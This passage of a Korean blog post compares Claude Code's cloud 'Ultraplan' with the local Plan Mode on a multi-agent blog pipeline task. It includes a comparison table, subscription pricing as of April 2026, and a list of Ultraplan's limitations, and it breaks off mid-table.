&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 결론: 언제 Ultraplan, 언제 로컬&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vyblor 포스트가 정리한 사용 지침은 다음과 같다: &quot;단순 코딩 &amp;rarr; Ultraplan, 커스텀 skill 활용 &amp;rarr; 로컬 유지&quot;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 기술적 현실에 기반한 실용적 판단이다. 현재 버그 상황에서 커스텀 skill 워크플로우는 로컬이 더 안정적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;직접 테스트: 로컬 Plan Mode vs Ultraplan 플랜 비교&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티 후기만으로는 판단이 어려워, 동일한 과제를 두 모드로 직접 실행해 비교했다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/ultraplan vs 기존 /plan 모드&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일한 과제(&quot;autoimprove 파이프라인을 harness-blog-project에 적용&quot;)를 두 모드로 실행하여 직접 비교해봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. /ultraplan 수행&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1452&quot; data-origin-height=&quot;188&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qO5R5/dJMb9962ktX/nEqlKQ41Xu39e9aRhxu7MK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qO5R5/dJMb9962ktX/nEqlKQ41Xu39e9aRhxu7MK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qO5R5/dJMb9962ktX/nEqlKQ41Xu39e9aRhxu7MK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqO5R5%2FdJMb9962ktX%2FnEqlKQ41Xu39e9aRhxu7MK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1452&quot; height=&quot;188&quot; data-origin-width=&quot;1452&quot; data-origin-height=&quot;188&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;/ultraplan을 실행하면 클라우드에서 실행할지 확인하는 다이얼로그가 나타난다. 안내 내용은 다음과 같다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; margin: 10px 0 10px 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹에서 Claude의 플랜을 편집하고, 특정 부분에 댓글을 달 수 있는 인터랙티브 플래닝&lt;/li&gt;
&lt;li&gt;이 세션의 Remote Control이 해제됨 (두 기능이 같은 claude.ai/code 인터페이스를 점유하므로 동시 사용 불가)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Run ultraplan을 선택하면 클라우드 세션이 시작된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1704&quot; data-origin-height=&quot;434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IfAoB/dJMcafzqFUP/95P04sYIfuVyi6twmCqSKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IfAoB/dJMcafzqFUP/95P04sYIfuVyi6twmCqSKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IfAoB/dJMcafzqFUP/95P04sYIfuVyi6twmCqSKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIfAoB%2FdJMcafzqFUP%2F95P04sYIfuVyi6twmCqSKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1704&quot; height=&quot;434&quot; data-origin-width=&quot;1704&quot; data-origin-height=&quot;434&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;원래라면 웹(claude.ai/code)에서 클라우드 에이전트들이 병렬로 작업을 처리해야 한다. 하지만 이번 테스트에서는 예상과 다른 상황이 발생했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;80&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqvEi1/dJMcaiCS39x/bUkCAOnqNMvfOWZ6aA0zR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqvEi1/dJMcaiCS39x/bUkCAOnqNMvfOWZ6aA0zR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqvEi1/dJMcaiCS39x/bUkCAOnqNMvfOWZ6aA0zR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdqvEi1%2FdJMcaiCS39x%2FbUkCAOnqNMvfOWZ6aA0zR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;998&quot; height=&quot;80&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;80&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하필 테스트에 사용한 레포가 무거운 상태였다. 공식 문서에 따르면 비-GitHub 저장소는 bundle 방식(100MB 제한)으로 업로드되는데, 이 제한에 걸리면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;클라우드 전송에 실패하고 로컬에서 플래닝이 진행&lt;/b&gt;된다. 이 또한 실무에서 충분히 마주칠 수 있는 상황이므로 경험을 공유한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1778&quot; data-origin-height=&quot;276&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JxIPr/dJMcagE7i11/KoEdR9xsKvqe4aR427gNDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JxIPr/dJMcagE7i11/KoEdR9xsKvqe4aR427gNDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JxIPr/dJMcagE7i11/KoEdR9xsKvqe4aR427gNDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJxIPr%2FdJMcagE7i11%2FKoEdR9xsKvqe4aR427gNDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1778&quot; height=&quot;276&quot; data-origin-width=&quot;1778&quot; data-origin-height=&quot;276&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. /plan 모드로 수행&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비교를 위해 동일한 과제를 로컬 /plan 모드로도 실행했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1682&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HnegL/dJMcaciotBT/L3llARgMKB3a5gvxr8eSH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HnegL/dJMcaciotBT/L3llARgMKB3a5gvxr8eSH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HnegL/dJMcaciotBT/L3llARgMKB3a5gvxr8eSH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHnegL%2FdJMcaciotBT%2FL3llARgMKB3a5gvxr8eSH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1682&quot; height=&quot;670&quot; data-origin-width=&quot;1682&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 결과 비교&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #856404;&quot;&gt;⚠ 이번 테스트의 특수한 상황&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 /ultraplan 실행은 레포 용량 초과로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;클라우드가 아닌 로컬에서 진행&lt;/b&gt;되었다. 따라서 Ultraplan의 핵심 장점인 클라우드 병렬 처리 속도 이점은 이 테스트에 반영되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티에서는 정상적으로 웹에서 실행된 경우&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&quot;확실히 빠르고, 플랜의 구조화 수준도 높다&quot;&lt;/b&gt;는 평가가 주류이다. 속도 면에서 로컬 대비 우위가 있다는 점은 커뮤니티 다수 의견이 일치한다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 비교는 속도를 제외하고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;플랜 퀄리티(내용의 깊이와 실행 가능성)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;관점에서 평가한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;로컬 Plan Mode 결과 요약&lt;/h4&gt;
&lt;div style=&quot;background-color: #f0f7ff; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 진단:&lt;/b&gt; 6-Agent 하네스의 현재 병목은 &lt;b&gt;Writer 에이전트&lt;/b&gt;에 집중되어 있다. Writer가 전체 품질 이슈의 약 80%를 차지하며, Evaluator의 피드백 루프가 Writer 수정에 의존하는 구조이므로 Writer 개선이 전체 파이프라인 품질에 직결된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;우선순위 기반 접근:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;P0 (즉시)&lt;/b&gt;: Writer 에이전트 프롬프트에 자동 개선 루프 적용 &amp;mdash; 과거 QA 리포트 패턴을 분석하여 반복 실패 항목을 Writer 프롬프트에 자동 반영&lt;/li&gt;
&lt;li&gt;&lt;b&gt;P1 (단기)&lt;/b&gt;: Evaluator &amp;rarr; Writer 피드백 경로 최적화 &amp;mdash; failure code별 구체적 수정 지시 강화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;P2 (중기)&lt;/b&gt;: Researcher 에이전트 evidence 품질 개선 &amp;mdash; evidence 부족이 Writer 품질 저하의 근본 원인인 경우 대응&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt; 기존 5개 런의 QA 리포트 데이터를 직접 분석하여 &quot;어디가 가장 많이 실패하는가&quot;를 수치로 파악한 뒤 계획을 도출했다. 데이터 기반 의사결정.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Ultraplan 결과 요약&lt;/h4&gt;
&lt;div style=&quot;background-color: #f5f0ff; border-left: 4px solid #7c3aed; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3단계 구조화 접근:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Phase 1 &amp;mdash; 분석&lt;/b&gt;: 현재 파이프라인의 SKILL.md, 에이전트 프롬프트, QA 기준 파일을 체계적으로 분석하여 개선 포인트 도출&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Phase 2 &amp;mdash; 설계&lt;/b&gt;: autoimprove 루프의 Score &amp;rarr; Decide &amp;rarr; Improve &amp;rarr; Iterate 패턴을 하네스에 매핑하는 아키텍처 설계&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Phase 3 &amp;mdash; 구현 및 검증&lt;/b&gt;: 단계별 구현 후 기존 런과 비교 테스트로 품질 향상 여부 검증&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;리스크 매트릭스 포함:&lt;/b&gt; &quot;자동 개선이 오히려 품질을 저하시킬 위험&quot;, &quot;피드백 루프 무한 반복 가능성&quot; 등 예상 리스크와 대응 방안을 사전에 정의했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt; 프로젝트 관리 문서 수준의 체계적 구조. 팀원에게 공유하거나 리뷰를 받기에 적합한 형태.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 별도의 에이전트에게 결과에 대한 비교도 요청 해 보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;비교 평가&lt;/h4&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e6f3ff;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: bold;&quot;&gt;평가 항목&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: center; font-weight: bold;&quot;&gt;로컬 Plan Mode&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: center; font-weight: bold;&quot;&gt;Ultraplan&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;문제 진단 깊이&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;&lt;b&gt;우세&lt;/b&gt; &amp;mdash; 실제 데이터 기반 병목 분석&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;구조적 분석, 데이터 참조 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 가능성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;&lt;b&gt;우세&lt;/b&gt; &amp;mdash; 즉시 실행 가능한 P0/P1/P2&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;Phase 구분은 명확하나 구체성 부족&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;문서 완성도&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;실무 메모 수준&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;&lt;b&gt;우세&lt;/b&gt; &amp;mdash; 리스크 매트릭스, 검증 방법론 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;리스크 관리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;언급 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;&lt;b&gt;우세&lt;/b&gt; &amp;mdash; 사전 리스크 정의 및 대응&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;컨텍스트 활용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;&lt;b&gt;우세&lt;/b&gt; &amp;mdash; 로컬 파일 직접 읽기 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;GitHub 클론 기반, 커밋되지 않은 파일 접근 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f7ff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; font-weight: bold;&quot;&gt;종합&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center; font-weight: bold;&quot;&gt;실행에 강함&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center; font-weight: bold;&quot;&gt;문서화에 강함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f5e9; border-left: 4px solid #4caf50; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론:&lt;/b&gt; &quot;어느 쪽이 더 좋은가&quot;는 목적에 따라 다르다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;지금 바로 실행할 계획이 필요하다면&lt;/b&gt; &amp;rarr; 로컬 Plan Mode. 프로젝트의 실제 데이터를 분석하고, 로컬 파일(커밋되지 않은 작업 포함)에 접근하여 구체적인 액션 아이템을 도출한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;팀에 공유할 구조화된 계획서가 필요하다면&lt;/b&gt; &amp;rarr; Ultraplan. 체계적인 Phase 구분, 리스크 매트릭스, 검증 방법론이 포함된 문서 수준의 산출물을 생성한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상적으로는 &lt;b&gt;Ultraplan으로 큰 그림을 그리고, 로컬 Plan Mode로 실행 세부사항을 채우는 조합&lt;/b&gt;이 가장 효과적이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 나의 경우 상기 두개의 플랜을 서로 상호 보완 한 후 그 결과를 토대로 개선작업을 진행 시켰다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 요금제 및 제한사항&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #856404;&quot;&gt;⚠ 주의&lt;/span&gt;&lt;/b&gt; 이 섹션의 가격 정보는 2026-04-08 기준이다. 요금은 언제든 변경될 수 있으므로, 최신 가격은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 페이지&lt;/a&gt;에서 확인하기 바란다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Max 플랜 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code Ultraplan을 사용하려면 최소 Pro 플랜이 필요하다. 더 많은 사용량이 필요한 경우 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/pricing/max&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Max 플랜&lt;/a&gt;을 고려한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;플랜&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;월 요금&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;사용량&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;주요 특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$20&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기준&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code, Ultraplan 기본 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Max 5x&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$100&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro의 5배&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code 집중 사용자용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Max 20x&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$200&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro의 20배&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;하루 종일 개발 워크로드용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Max 5x와 Max 20x의 기능 세트는 동일하다. 유일한 차이는 사용량 할당량이다. 독립 테스트에 따르면 Max 5x는 5시간 창당 약 225개 메시지, Max 20x는 약 900개 메시지를 처리한다. (이는 공식 수치가 아닌 커뮤니티 측정값이다)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;포함 기능 (Max 플랜 기준)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;멀티모달 채팅&lt;/li&gt;
&lt;li&gt;Claude Code 통합 (터미널 에이전트)&lt;/li&gt;
&lt;li&gt;Cowork 파일 워크플로우&lt;/li&gt;
&lt;li&gt;메모리 기능&lt;/li&gt;
&lt;li&gt;신기능 얼리 액세스 (새 모델, 보이스 모드 등)&lt;/li&gt;
&lt;li&gt;피크 시간 우선 서비스&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Ultraplan 제한사항 요약&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GitHub 연동 필수 (로컬 전용 저장소는 번들 폴백, 100MB 제한)&lt;/li&gt;
&lt;li&gt;유저 레벨 설정(~/.claude/) 미동기화 &amp;mdash; 프로젝트에 커밋된 설정만 사용 가능&lt;/li&gt;
&lt;li&gt;research preview 단계 &amp;mdash; 피드백에 따라 변경 가능&lt;/li&gt;
&lt;li&gt;Ultraplan 시작 시 Remote Control 자동 해제&lt;/li&gt;
&lt;li&gt;Amazon Bedrock, Google Cloud Vertex AI, Microsoft Foundry 환경에서 사용 불가&lt;/li&gt;
&lt;li&gt;Claude Code v2.1.91 이상 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 대안 비교: Ultraplan vs 로컬 Plan Mode&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;비교 항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Ultraplan (클라우드)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;로컬 Plan Mode&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
